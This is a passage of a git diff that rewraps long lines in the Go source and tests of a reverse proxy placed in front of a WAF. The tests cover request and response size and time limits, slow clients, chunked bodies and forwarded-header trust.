routewatch.NoAnswerYet) + t.Errorf( + "before the answer: %q, want %q", + missing, + routewatch.NoAnswerYet, + ) } route := f.waitFor("") - want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496} + want := routewatch.Route{ + Netblock: netip.MustParsePrefix("192.0.2.0/24"), + ASN: 64496, + } if route != want { t.Errorf("route %+v, want %+v", route, want) } @@ -219,7 +228,10 @@ func TestAnswerAfterASlowReverseDNSLookupIsKept(t *testing.T) { route := f.waitFor("") - want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496} + want := routewatch.Route{ + Netblock: netip.MustParsePrefix("192.0.2.0/24"), + ASN: 64496, + } if route != want { t.Errorf("route %+v, want %+v", route, want) } @@ -248,7 +260,8 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) { "not JSON": answering("no"), "no results": answering(`{"status":"ok","data":{"results":[]}}`), "bad netblock": answering( - `{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`), + `{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`, + ), } for name, standIn := range tests { t.Run(name, func(t *testing.T) { @@ -263,7 +276,9 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) { } } -func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) { +func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient( + t *testing.T, +) { t.Parallel() f := newFixture(t, answering(routedAnswer)) @@ -280,7 +295,9 @@ func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) f.wantFailureLoggedWithoutTheClient() } -func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) { +func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest( + t *testing.T, +) { t.Parallel() f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) { @@ -301,7 +318,10 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) { deadline := time.Now().Add(waitLimit) for f.queries.Load() != 2 { if time.Now().After(deadline) { - t.Fatalf("%d queries after the failure expired, want 2", f.queries.Load()) + t.Fatalf( + "%d queries after the failure expired, want 2", + f.queries.Load(), + ) } time.Sleep(time.Millisecond) @@ -326,9 +346,14 @@ func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) { began := time.Now() _, missing := f.route() - if waited := time.Since(began); missing != routewatch.NoAnswerYet || waited != 0 { - t.Errorf("Route gave %q after %s while routewatch hangs, want %q at once", - missing, waited, routewatch.NoAnswerYet) + if waited := time.Since(began); missing != routewatch.NoAnswerYet || + waited != 0 { + t.Errorf( + "Route gave %q after %s while routewatch hangs, want %q at once", + missing, + waited, + routewatch.NoAnswerYet, + ) } f.waitFor(routewatch.RequestFailed) @@ -412,8 +437,14 @@ func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) { f.client.Load([]routewatch.Answer{kept, stale}) - if got := f.client.Snapshot(); !slices.Equal(got, []routewatch.Answer{kept}) { - t.Errorf("kept %+v, want only the answer that came less than an hour ago", got) + if got := f.client.Snapshot(); !slices.Equal( + got, + []routewatch.Answer{kept}, + ) { + t.Errorf( + "kept %+v, want only the answer that came less than an hour ago", + got, + ) } route, missing := f.route() @@ -424,7 +455,10 @@ func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) { } if got := f.queries.Load(); got != 0 { - t.Errorf("%d queries for a client with an answer loaded, want none", got) + t.Errorf( + "%d queries for a client with an answer loaded, want none", + got, + ) } } @@ -458,7 +492,12 @@ func TestLoadDropsTheAnswerThatCameLongestAgoFirst(t *testing.T) { } if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] { - t.Errorf("answers kept from %s to %s, want from %s to %s", got[0].Client, - got[maxAnswers-1].Client, answers[0].Client, answers[maxAnswers-1].Client) + t.Errorf( + "answers kept from %s to %s, want from %s to %s", + got[0].Client, + got[maxAnswers-1].Client, + answers[0].Client, + answers[maxAnswers-1].Client, + ) } } diff --git a/internal/rproxy/bodies.go b/internal/rproxy/bodies.go index f80c374..5e48ef6 100644 --- a/internal/rproxy/bodies.go +++ b/internal/rproxy/bodies.go @@ -203,7 +203,8 @@ func (w *responseWriter) Write(p []byte) (int, error) { w.status = http.StatusOK } - n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given + //nolint:gosec // the answer, as it was given + n, err := w.ResponseWriter.Write(p) w.bytes += int64(n) return n, err @@ -218,7 +219,8 @@ func (w *responseWriter) FlushError() error { // Hijack takes over the connection to the visitor, which ReverseProxy does only // to pass on the app's 101 Switching Protocols: that is then the status sent. func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) { - conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack() + conn, buffered, err := http.NewResponseController(w.ResponseWriter). + Hijack() if err == nil { w.status = http.StatusSwitchingProtocols } diff --git a/internal/rproxy/client.go b/internal/rproxy/client.go index be5b321..9b13e41 100644 --- a/internal/rproxy/client.go +++ b/internal/rproxy/client.go @@ -83,7 +83,11 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool { // X-Forwarded-For. Those of any other peer are its own claims and are replaced: // X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and // X-Forwarded-Proto plain http, which is how it reached rproxy. -func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) { +func setForwardedHeaders( + in, out *http.Request, + peer netip.Addr, + trusted bool, +) { forwardedFor := peer.String() if trusted { diff --git a/internal/rproxy/limits_test.go b/internal/rproxy/limits_test.go index ef0516b..04d9c79 100644 --- a/internal/rproxy/limits_test.go +++ b/internal/rproxy/limits_test.go @@ -34,13 +34,15 @@ func announcedLength(size int) string { func TestServerHasTheFixedLimits(t *testing.T) { t.Parallel() - cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) { - if name == "SWRP_WAF_BACKEND" { - return nowhere, true - } + cfg, err := config.RProxyFromEnvironment( + func(name string) (string, bool) { + if name == "SWRP_WAF_BACKEND" { + return nowhere, true + } - return "", false - }) + return "", false + }, + ) if err != nil { t.Fatalf("settings: %v", err) } @@ -48,14 +50,23 @@ func TestServerHasTheFixedLimits(t *testing.T) { server := rproxy.New(rproxy.Params{ Config: cfg, RequestLog: io.Discard, - ProcessLog: requestlog.NewProcessLogger(io.Discard, "test", slog.LevelInfo), + ProcessLog: requestlog.NewProcessLogger( + io.Discard, + "test", + slog.LevelInfo, + ), }) if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 || server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute { - t.Errorf("server listens on %q with header limit %d, idle time %s and "+ - "header timeout %s", server.Addr, server.MaxHeaderBytes, - server.IdleTimeout, server.ReadHeaderTimeout) + t.Errorf( + "server listens on %q with header limit %d, idle time %s and "+ + "header timeout %s", + server.Addr, + server.MaxHeaderBytes, + server.IdleTimeout, + server.ReadHeaderTimeout, + ) } } @@ -76,9 +87,14 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) { app := startApp(t, func(http.ResponseWriter, *http.Request) { t.Error("the app was asked") }) - addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{ - maxRequestSize: tc.limit, - }) + addr, _ := startRProxy( + t, + standIn.URL, + app.URL, + map[string]string{ + maxRequestSize: tc.limit, + }, + ) got := visit(t, newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(make([]byte, tc.size)))) @@ -87,7 +103,11 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) { } if asked := standIn.question(t); len(asked.body) != tc.asked { - t.Errorf("the question carries %d bytes, want %d", len(asked.body), tc.asked) + t.Errorf( + "the question carries %d bytes, want %d", + len(asked.body), + tc.asked, + ) } report := standIn.report(t) @@ -138,13 +158,21 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) { asked.Store(true) greet(w, r) }) - addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{ - maxRequestSize: tc.limit, - }) + addr, _ := startRProxy( + t, + standIn.URL, + app.URL, + map[string]string{ + maxRequestSize: tc.limit, + }, + ) conn := dial(t, addr) send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+ - strconv.FormatInt(int64(tc.size), 16)+"\r\n"+strings.Repeat("x", tc.size)+ + strconv.FormatInt( + int64(tc.size), + 16, + )+"\r\n"+strings.Repeat("x", tc.size)+ "\r\n0\r\n\r\n") if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge { @@ -203,17 +231,26 @@ func TestAResponseOverItsLimit(t *testing.T) { text, err := io.ReadAll(conn) if err != nil || bytes.Contains(text, []byte(large)) { - t.Errorf("read %d bytes (%v), want the answer cut off", len(text), err) + t.Errorf( + "read %d bytes (%v), want the answer cut off", + len(text), + err, + ) } report := standIn.report(t) if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 { - t.Errorf("report %+v, want status 200 and at most 1K of the answer", report) + t.Errorf( + "report %+v, want status 200 and at most 1K of the answer", + report, + ) } }) } -func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.T) { +func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn( + t *testing.T, +) { t.Parallel() const announced = "2048" @@ -227,8 +264,13 @@ func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing. }) got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody)) - if got.status != http.StatusOK || got.header.Get(contentLengthHeader) != announced { - t.Errorf("answered %+v, want the app's 200 announcing %s bytes", got, announced) + if got.status != http.StatusOK || + got.header.Get(contentLengthHeader) != announced { + t.Errorf( + "answered %+v, want the app's 200 announcing %s bytes", + got, + announced, + ) } } @@ -243,14 +285,22 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) { standIn := startWAF(t, allow) app := startApp(t, greet) - addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{ - setting: "off", - }) + addr, _ := startRProxy( + t, + standIn.URL, + app.URL, + map[string]string{ + setting: "off", + }, + ) // A body and an answer that a limit of zero would cut off, as it would the // next answer, which rproxy gives itself. - wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/", - strings.NewReader("a body")))) + wantGreeting( + t, + visit(t, newRequest(t, http.MethodPost, addr, "/", + strings.NewReader("a body"))), + ) if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK { t.Errorf("answered %+v, want rproxy's own 200", got) @@ -273,9 +323,14 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) { standIn := startWAF(t, allow) app := startApp(t, greet) - addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{ - maxRequestTime: "500", - }) + addr, out := startRProxy( + t, + standIn.URL, + app.URL, + map[string]string{ + maxRequestTime: "500", + }, + ) conn := dial(t, addr) send(t, conn, post+tc.rest) @@ -319,7 +374,9 @@ func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) { } } -func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) { +func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer( + t *testing.T, +) { t.Parallel() for _, tc := range []struct { @@ -356,8 +413,11 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) { text, err := io.ReadAll(conn) if err != nil || len(text) != 0 { - t.Errorf("read %q (%v), want the connection closed without an answer", - text, err) + t.Errorf( + "read %q (%v), want the connection closed without an answer", + text, + err, + ) } line := out.requestLine(t) @@ -402,7 +462,8 @@ func (w *deadlineRecorder) FlushError() error { func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error { w.readDeadline = deadline - if w.stalled != nil && !deadline.IsZero() && !deadline.After(time.Now()) { + if w.stalled != nil && !deadline.IsZero() && + !deadline.After(time.Now()) { _ = w.stalled.CloseWithError(os.ErrDeadlineExceeded) } @@ -439,12 +500,22 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) { t.Cleanup(func() { _ = stop.Close() }) - req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/", - io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled)) + req := httptest.NewRequestWithContext( + t.Context(), + http.MethodPost, + "/", + io.MultiReader( + bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), + stalled, + ), + ) req.ContentLength = announced req.Header.Set(contentLengthHeader, strconv.Itoa(announced)) - w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder(), stalled: stop} + w := &deadlineRecorder{ + ResponseRecorder: httptest.NewRecorder(), + stalled: stop, + } before := time.Now() @@ -456,12 +527,17 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) { if w.readDeadline.Before(before.Add(limit)) || w.readDeadline.After(time.Now().Add(limit)) { - t.Errorf("the reading of the body ends at %s, want %s from the request", - w.readDeadline, limit) + t.Errorf( + "the reading of the body ends at %s, want %s from the request", + w.readDeadline, + limit, + ) } } -func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing.T) { +func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut( + t *testing.T, +) { t.Parallel() standIn := startWAF(t, allow) @@ -473,8 +549,15 @@ func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing t.Cleanup(func() { _ = stop.Close() }) - req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/", - io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled)) + req := httptest.NewRequestWithContext( + t.Context(), + http.MethodPost, + "/", + io.MultiReader( + bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), + stalled, + ), + ) req.ContentLength = 2 * questionBodyMaxBytes req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes)) @@ -496,7 +579,10 @@ func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing } if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) { - t.Errorf("the reading of the body ends at %s, want now", w.readDeadline) + t.Errorf( + "the reading of the body ends at %s, want now", + w.readDeadline, + ) } } @@ -517,12 +603,24 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) { standIn := startWAF(t, deny) app := startApp(t, greet) - _, _, server := startServer(t, standIn.URL, app.URL, map[string]string{ - maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10), - }) + _, _, server := startServer( + t, + standIn.URL, + app.URL, + map[string]string{ + maxResponseTime: strconv.FormatInt( + limit.Milliseconds(), + 10, + ), + }, + ) - req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, tc.target, - http.NoBody) + req := httptest.NewRequestWithContext( + t.Context(), + http.MethodGet, + tc.target, + http.NoBody, + ) w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()} before := time.Now() @@ -535,14 +633,19 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) { if w.writeDeadline.Before(before.Add(limit)) || w.writeDeadline.After(time.Now().Add(limit)) { - t.Errorf("the time limit on sending ends at %s, want %s from the answer", - w.writeDeadline, limit) + t.Errorf( + "the time limit on sending ends at %s, want %s from the answer", + w.writeDeadline, + limit, + ) } }) } } -func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) { +func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast( + t *testing.T, +) { t.Parallel() const least = 10 * time.Second @@ -553,7 +656,12 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) { maxResponseTime: "300", }) - req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody) + req := httptest.NewRequestWithContext( + t.Context(), + http.MethodGet, + "/", + http.NoBody, + ) w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()} before := time.Now() @@ -561,8 +669,11 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) { server.Handler.ServeHTTP(w, req) if w.writeDeadline.Before(before.Add(least)) { - t.Errorf("the time limit on sending ends at %s, want %s from the answer at least", - w.writeDeadline, least) + t.Errorf( + "the time limit on sending ends at %s, want %s from the answer at least", + w.writeDeadline, + least, + ) } } @@ -583,7 +694,9 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) { t.Errorf("status %d, want 408", status) } - if asked := standIn.question(t); len(asked.body) != questionBodyMaxBytes { + if asked := standIn.question(t); len( + asked.body, + ) != questionBodyMaxBytes { t.Errorf("the question carries %d bytes", len(asked.body)) } @@ -597,7 +710,11 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) { func startAppThatTakesNothing(t *testing.T) string { t.Helper() - listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + listener, err := (&net.ListenConfig{}).Listen( + t.Context(), + "tcp", + localhost+":0", + ) if err != nil { t.Fatalf("listen: %v", err) } @@ -686,7 +803,9 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) { } } -func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(t *testing.T) { +func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut( + t *testing.T, +) { t.Parallel() // Four visitors at a time, each with an app and rproxy of its own, send more @@ -785,8 +904,13 @@ func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) { if res.StatusCode != http.StatusOK || string(body) != start || !errors.Is(err, io.ErrUnexpectedEOF) { - t.Errorf("answered %d %q (%v), want the app's 200 %q, then the connection closed", - res.StatusCode, body, err, start) + t.Errorf( + "answered %d %q (%v), want the app's 200 %q, then the connection closed", + res.StatusCode, + body, + err, + start, + ) } if report := standIn.report(t); report.Status != http.StatusOK { @@ -827,13 +951,17 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) { line := out.requestLine(t) responseBytes, _ := line["response_bytes"].(float64) - if line["status"] != float64(http.StatusOK) || responseBytes >= bodySize { + if line["status"] != float64(http.StatusOK) || + responseBytes >= bodySize { t.Errorf("line %v, want status 200 and the answer cut off", line) } report := standIn.report(t) if report.Status != http.StatusOK || report.ResponseBytes >= bodySize { - t.Errorf("report %+v, want status 200 and the answer cut off", report) + t.Errorf( + "report %+v, want status 200 and the answer cut off", + report, + ) } } @@ -853,7 +981,9 @@ func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) { } } -func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) { +func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer( + t *testing.T, +) { t.Parallel() standIn := startWAF(t, allow) @@ -937,7 +1067,9 @@ func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) { wantGreeting(t, readAnswer(t, conn)) } -func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.T) { +func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit( + t *testing.T, +) { t.Parallel() const limit = 2 * time.Second @@ -961,7 +1093,11 @@ func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing. } if closed := time.Since(start); closed < limit { - t.Errorf("the connection closed after %s, want %s at least", closed, limit) + t.Errorf( + "the connection closed after %s, want %s at least", + closed, + limit, + ) } } @@ -992,7 +1128,8 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf rc := http.NewResponseController(w) _ = rc.EnableFullDuplex() - w.Header().Set(contentLengthHeader, strconv.Itoa(len(greeting))) + w.Header(). + Set(contentLengthHeader, strconv.Itoa(len(greeting))) for _, part := range tc.atOnce { _, _ = io.WriteString(w, part) @@ -1010,10 +1147,18 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf }) // The request time limit is far longer than dial's deadline. - addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{ - maxRequestTime: "120000", - maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10), - }) + addr, _ := startRProxy( + t, + standIn.URL, + app.URL, + map[string]string{ + maxRequestTime: "120000", + maxResponseTime: strconv.FormatInt( + limit.Milliseconds(), + 10, + ), + }, + ) conn := dial(t, addr) sendAllButALittle(t, conn) @@ -1030,7 +1175,12 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf want := strings.Join(tc.atOnce, "") if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) { - t.Errorf("read %q (%v), want %q and the connection closed", body, err, want) + t.Errorf( + "read %q (%v), want %q and the connection closed", + body, + err, + want, + ) } }) } @@ -1068,7 +1218,11 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) { text, err := io.ReadAll(conn) if err != nil || len(text) != 0 { - t.Errorf("read %q (%v), want the connection closed without an answer", text, err) + t.Errorf( + "read %q (%v), want the connection closed without an answer", + text, + err, + ) } if line := out.requestLine(t); line["status"] != 0.0 { @@ -1076,7 +1230,9 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) { } } -func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing.T) { +func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest( + t *testing.T, +) { t.Parallel() const answer = "the end of a long answer" @@ -1094,13 +1250,28 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing maxRequestTime: "2000", }) - got := visit(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))) + got := visit( + t, + newRequest( + t, + http.MethodPost, + addr, + "/", + strings.NewReader("a body"), + ), + ) if got.status != http.StatusOK || got.body != answer { - t.Errorf("answered %d %q, want the app's whole answer", got.status, got.body) + t.Errorf( + "answered %d %q, want the app's whole answer", + got.status, + got.body, + ) } } -func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T) { +func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce( + t *testing.T, +) { t.Parallel() for _, tc := range []struct { @@ -1121,10 +1292,15 @@ func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T app := startApp(t, greet) // The request time limit is longer than the 10 seconds an answer rproxy // gives itself has to be sent, and than dial's deadline. - addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{ - maxRequestTime: "15000", - maxResponseTime: "300", - }) + addr, _ := startRProxy( + t, + standIn.URL, + app.URL, + map[string]string{ + maxRequestTime: "15000", + maxResponseTime: "300", + }, + ) // The body stops 100 bytes short, less than Go's server reads of a body // left unread before it answers. diff --git a/internal/rproxy/question_test.go b/internal/rproxy/question_test.go index b65587e..f7ac992 100644 --- a/internal/rproxy/question_test.go +++ b/internal/rproxy/question_test.go @@ -54,7 +54,12 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) { asked := standIn.question(t) if asked.method != http.MethodDelete || asked.target != target || asked.host != site { - t.Errorf("asked about %s %s at %s", asked.method, asked.target, asked.host) + t.Errorf( + "asked about %s %s at %s", + asked.method, + asked.target, + asked.host, + ) } if asked.header.Get(requestIDHeader) == "the-visitor's" { @@ -72,7 +77,11 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) { want.Set(waf.PeerHeader, localhost) if !maps.EqualFunc(asked.header, want, slices.Equal) { - t.Errorf("the question's headers are %v, want %v", asked.header, want) + t.Errorf( + "the question's headers are %v, want %v", + asked.header, + want, + ) } } @@ -100,9 +109,14 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) { greet(w, r) }) - addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{ - trustedProxies: tc.trusted, - }) + addr, out := startRProxy( + t, + standIn.URL, + app.URL, + map[string]string{ + trustedProxies: tc.trusted, + }, + ) req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) req.Header.Set(forwardedForHeader, visitor) @@ -122,7 +136,12 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) { } if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded { - t.Errorf("the app saw %s %q, want %q", forwardedForHeader, got, tc.forwarded) + t.Errorf( + "the app saw %s %q, want %q", + forwardedForHeader, + got, + tc.forwarded, + ) } }) } @@ -159,9 +178,14 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) { standIn := startWAF(t, allow) app := startApp(t, greet) - addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{ - trustedProxies: localhost + "/32,10.0.0.0/8", - }) + addr, _ := startRProxy( + t, + standIn.URL, + app.URL, + map[string]string{ + trustedProxies: localhost + "/32,10.0.0.0/8", + }, + ) req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) req.Header[forwardedForHeader] = tc.header @@ -200,15 +224,24 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) { body := randomBytes(size) standIn := startWAF(t, allow) received := make(chan []byte, 1) - app := startApp(t, func(w http.ResponseWriter, r *http.Request) { - whole, _ := io.ReadAll(r.Body) - received <- whole + app := startApp( + t, + func(w http.ResponseWriter, r *http.Request) { + whole, _ := io.ReadAll(r.Body) + received <- whole - greet(w, r) - }) + greet(w, r) + }, + ) addr, _ := startRProxy(t, standIn.URL, app.URL, nil) - req := newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(body)) + req := newRequest( + t, + http.MethodPost, + addr, + "/", + bytes.NewReader(body), + ) if !announced { // Go's client sends a body of unknown length in chunks. req.ContentLength = -1 @@ -224,7 +257,9 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) { t.Error("the app did not get the whole body") } - if report := standIn.report(t); report.RequestBytes != int64(size) { + if report := standIn.report(t); report.RequestBytes != int64( + size, + ) { t.Errorf("report %+v, of %d bytes", report, size) } }) @@ -240,8 +275,11 @@ func wantQuestionBody( t.Helper() if !bytes.Equal(asked.body, want) { - t.Errorf("the question carries %d bytes, want the first %d", len(asked.body), - len(want)) + t.Errorf( + "the question carries %d bytes, want the first %d", + len(asked.body), + len(want), + ) } values := asked.header.Values(waf.ContentLengthHeader) @@ -256,9 +294,13 @@ func wantQuestionBody( return } - if len(values) != 0 || !slices.Equal(asked.transferEncoding, []string{chunked}) { - t.Errorf("announced %v and encoded %v, want none and chunked", values, - asked.transferEncoding) + if len(values) != 0 || + !slices.Equal(asked.transferEncoding, []string{chunked}) { + t.Errorf( + "announced %v and encoded %v, want none and chunked", + values, + asked.transferEncoding, + ) } } @@ -311,7 +353,11 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) { addr, _ := startRProxy(t, standIn.URL, nowhere, nil) conn := dial(t, addr) - send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing) + send( + t, + conn, + method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing, + ) if status := readStatus(t, conn); status != http.StatusForbidden { t.Errorf("status %d, want waf's 403", status) @@ -320,8 +366,13 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) { asked := standIn.question(t) if string(asked.body) != tc.body || !slices.Equal(asked.transferEncoding, tc.encoding) { - t.Errorf("the question carries %q, encoded %v, want %q, encoded %v", - asked.body, asked.transferEncoding, tc.body, tc.encoding) + t.Errorf( + "the question carries %q, encoded %v, want %q, encoded %v", + asked.body, + asked.transferEncoding, + tc.body, + tc.encoding, + ) } }) } @@ -343,10 +394,15 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) { got := visit(t, newRequest(t, method, addr, "/", http.NoBody)) if got.status != http.StatusMethodNotAllowed || - got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+ + got.header.Get( + "Allow", + ) != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+ "PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+ "MKCALENDAR" { - t.Errorf("answered %+v, want 405 naming the methods passed on", got) + t.Errorf( + "answered %+v, want 405 naming the methods passed on", + got, + ) } line := out.requestLine(t) @@ -483,7 +539,12 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) { asked := standIn.question(t) if got := asked.header.Get(forwardedProtoHeader); got != want { - t.Errorf("the question's %s is %q, want %s", forwardedProtoHeader, got, want) + t.Errorf( + "the question's %s is %q, want %s", + forwardedProtoHeader, + got, + want, + ) } } @@ -504,11 +565,21 @@ func TestAQuestionNamesNoZone(t *testing.T) { standIn := startWAF(t, deny) app := startApp(t, greet) - _, out, server := startServer(t, standIn.URL, app.URL, map[string]string{ - trustedProxies: localhost + "/32", - }) + _, out, server := startServer( + t, + standIn.URL, + app.URL, + map[string]string{ + trustedProxies: localhost + "/32", + }, + ) - req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody) + req := httptest.NewRequestWithContext( + t.Context(), + http.MethodGet, + "/", + http.NoBody, + ) req.RemoteAddr = tc.remoteAddr req.Header.Set(forwardedForHeader, tc.forwardedFor) diff --git a/internal/rproxy/request.go b/internal/rproxy/request.go index f2b2490..cbd9f74 100644 --- 